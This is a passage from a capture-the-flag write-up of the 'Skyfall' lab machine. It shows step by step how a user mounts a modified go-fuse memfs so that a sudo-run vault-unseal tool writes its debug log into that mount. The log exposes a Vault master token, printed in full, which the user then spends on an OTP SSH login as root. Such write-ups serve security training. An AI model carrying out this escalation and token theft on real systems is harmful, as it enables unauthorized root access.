askyy@skyfall:/dev/shm$ mkdir output

askyy@skyfall:/dev/shm$ ./memfs output test

Mounted!

Now, log in in another SSH session with the trick shows previously and run the command with sudo:

askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

2024/09/01 01:04:22 open debug.log: permission denied

This is due to our current application (the compiled binary memfs) is not allowing other users to write into our mount.

So we have to modify the code for memfs to allow it. Before that, remember to unmount the temporal mount running fusermount (remember to go out/exit from the directory output in all the sessions we have, otherwise it will raise an error fusermount: failed to unmount /dev/shm/output: Device or resource busy):

askyy@skyfall:/dev/shm$ fusermount -u output

If we read the source code main.go from examples/memfs from go-fuse repository we can see:

// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Mounts MemNodeFs for testing purposes.

package main

import (
	"flag"
	"fmt"
	"os"

	"github.com/hanwen/go-fuse/v2/fuse"
	"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)

func main() {
	// Scans the arg list and sets up flags
	debug := flag.Bool("debug", false, "print debugging messages.")
	flag.Parse()
	if flag.NArg() < 2 {
		// TODO - where to get program name?
		fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
		os.Exit(2)
	}

	mountPoint := flag.Arg(0)
	prefix := flag.Arg(1)
	root := nodefs.NewMemNodeFSRoot(prefix)
	conn := nodefs.NewFileSystemConnector(root, nil)
	server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
		Debug: *debug,
	})
	if err != nil {
		fmt.Printf("Mount fail: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("Mounted!")
	server.Serve()
}

In the code there is a variable setting options fuse.MountOptions. If we check the code for this fuse library (fuse/api.go) we have:

<SNIP>
type MountOptions struct {
	AllowOther bool

	// Options are passed as -o string to fusermount.
	Options []string

	// Default is _DEFAULT_BACKGROUND_TASKS, 12.  This numbers
	// controls the allowed number of requests that relate to
	// async I/O.  Concurrency for synchronous I/O is not limited.
	MaxBackground int
<SNIP>

where I can see the option AllowOther, that is a boolean variable. So we add this variable in the original code to be true. Therefore, the code for main.go now is:

// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Mounts MemNodeFs for testing purposes.

package main

import (
	"flag"
	"fmt"
	"os"

	"github.com/hanwen/go-fuse/v2/fuse"
	"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)

func main() {
	// Scans the arg list and sets up flags
	debug := flag.Bool("debug", false, "print debugging messages.")
	flag.Parse()
	if flag.NArg() < 2 {
		// TODO - where to get program name?
		fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
		os.Exit(2)
	}

	mountPoint := flag.Arg(0)
	prefix := flag.Arg(1)
	root := nodefs.NewMemNodeFSRoot(prefix)
	conn := nodefs.NewFileSystemConnector(root, nil)
	server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
		Debug: *debug,
		AllowOther: true, // MODIFIED LINE
	})
	if err != nil {
		fmt.Printf("Mount fail: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("Mounted!")
	server.Serve()
}

and build it:

❯ go build -o memfs_modified

We repeat the steps to transfer the file, assign to it execution permissions and re-run the modified binary in the target machine:

askyy@skyfall:/dev/shm$ ./memfs_modified

usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs_modified output/ test

Mounted!

and in the other terminal/session we run:

askyy@skyfall:/dev/shm$ cd output

askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false

We have now new files:

askyy@skyfall:/dev/shm$ ls

memfs  memfs_modified  output  test1

We can now read the contents of test1, which should be the content of the generated debug.log file:

askyy@skyfall:/dev/shm$ cat test1

2024/09/01 01:23:21 Initializing logger...
2024/09/01 01:23:21 Reading: /etc/vault-unseal.yaml
2024/09/01 01:23:21 Security Risk!
2024/09/01 01:23:21 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/09/01 01:23:21 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Check interval: 5s
2024/09/01 01:23:21 Max checks: 5
2024/09/01 01:23:21 Establishing connection to Vault...
2024/09/01 01:23:21 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Checking seal status
2024/09/01 01:23:21 Vault sealed: false

where I can see another VAULT_TOKEN with value hvs.I0ewVsmaKU1SwVZAKR3T0mmG.

I remember that we had an admin_otp_key_role when we tried to log in via SSH and we got access denied. But what if we update the parameters with this token and we check if we have access to it with this new token? Since it is an “admin” token, we can try to log in as root:

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"

❯ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

and finally try to connect via SSH as root:

❯ ./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# whoami

root

and it worked! GG.

~Happy Hacking